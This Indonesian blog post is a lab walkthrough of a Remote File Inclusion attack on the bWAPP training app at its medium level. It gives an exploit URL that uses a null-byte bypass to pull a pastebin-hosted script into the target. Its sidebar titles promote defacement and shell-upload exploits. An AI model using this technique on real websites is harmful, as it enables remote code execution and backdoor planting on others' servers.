• Skip to primary navigation
  • Skip to main content
  • Skip to primary sidebar

LinuxSec Exploit

Nothing is Ever Locked

  • XSS Payloads
  • About Us

bWAPP Remote File Inclusion Medium Security Level

December 26, 2018 by Jack Wilder Leave a Comment

bWAPP Remote File Inclusion Medium Security Level – Remote File Incusion (RFI) adalah serangan yang ditujukan kepada website yang memiliki celah keamanan yang biasanya menggunakan fungsi memanggil file melalui suatu inputan dinamis, dalam hal ini berarti seseorang dapat mengganti alamat file yang akan dipanggil dan kemudian diproses. Tujuan hacker melakukan serangan ini adalah menyisipkan script berbahaya dari domain luar biasanya berupa backdoor/shell ke dalam server target.

Untuk emmahami bagaimana celah ini bekerja kalian bisa gunakan bWAPP. Nah disini saya akan membahas bagaimana cara mengeksploitasi celah RFI pada security level Medium. Disini kita bisa membypass nya menggunakan null %00.

Kita bisa memanggil shell yang kita upload di situs lain. Dalam kasus ini saya hanya akan melihat versi kernel dan juga OS yang digunakan. Saya upload scriptnya di pastebin.

  • https://pastebin.com/raw/2ThL4Pxn

Exploit:

http://bwapp/bWAPP/rlfi.php?language=https://pastebin.com/raw/2ThL4Pxn%00&action=go

Result:

Oke sekian tutorial kali ini, semoga bermanfaat. Jika ada yang kurang jelas silahkan ditanyakan.

Filed Under: RFI

Reader Interactions

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Primary Sidebar

Popular Post

Cara Mendapatkan RDP Gratis Dengan Shell Windows

RCE pada Redis via Master-Slave Replication

Mass Deface setelah Rooting Server

Exploit WPStore Themes Upload Vulnerability

Exploit Drupal Core 7.x Auto SQL Injection dan Upload Shell

Deface WordPress dengan Exploit Themes Qualifire File Upload Vulnerability

Reverse Shell From Local File Inclusion Exploit

Deface WordPress Dengan Exploit Archin WordPress Theme 3.2 Unauthenticated Configuration Access Vulnerability

Exploit WordPress N-Media Website Contact Form with File Upload 1.3.4 Shell Upload Vulnerability

WordPress Fraction Theme Version 1.1.1 Privilege Escalation

LinuxSec / 9 queries in 0.09 seconds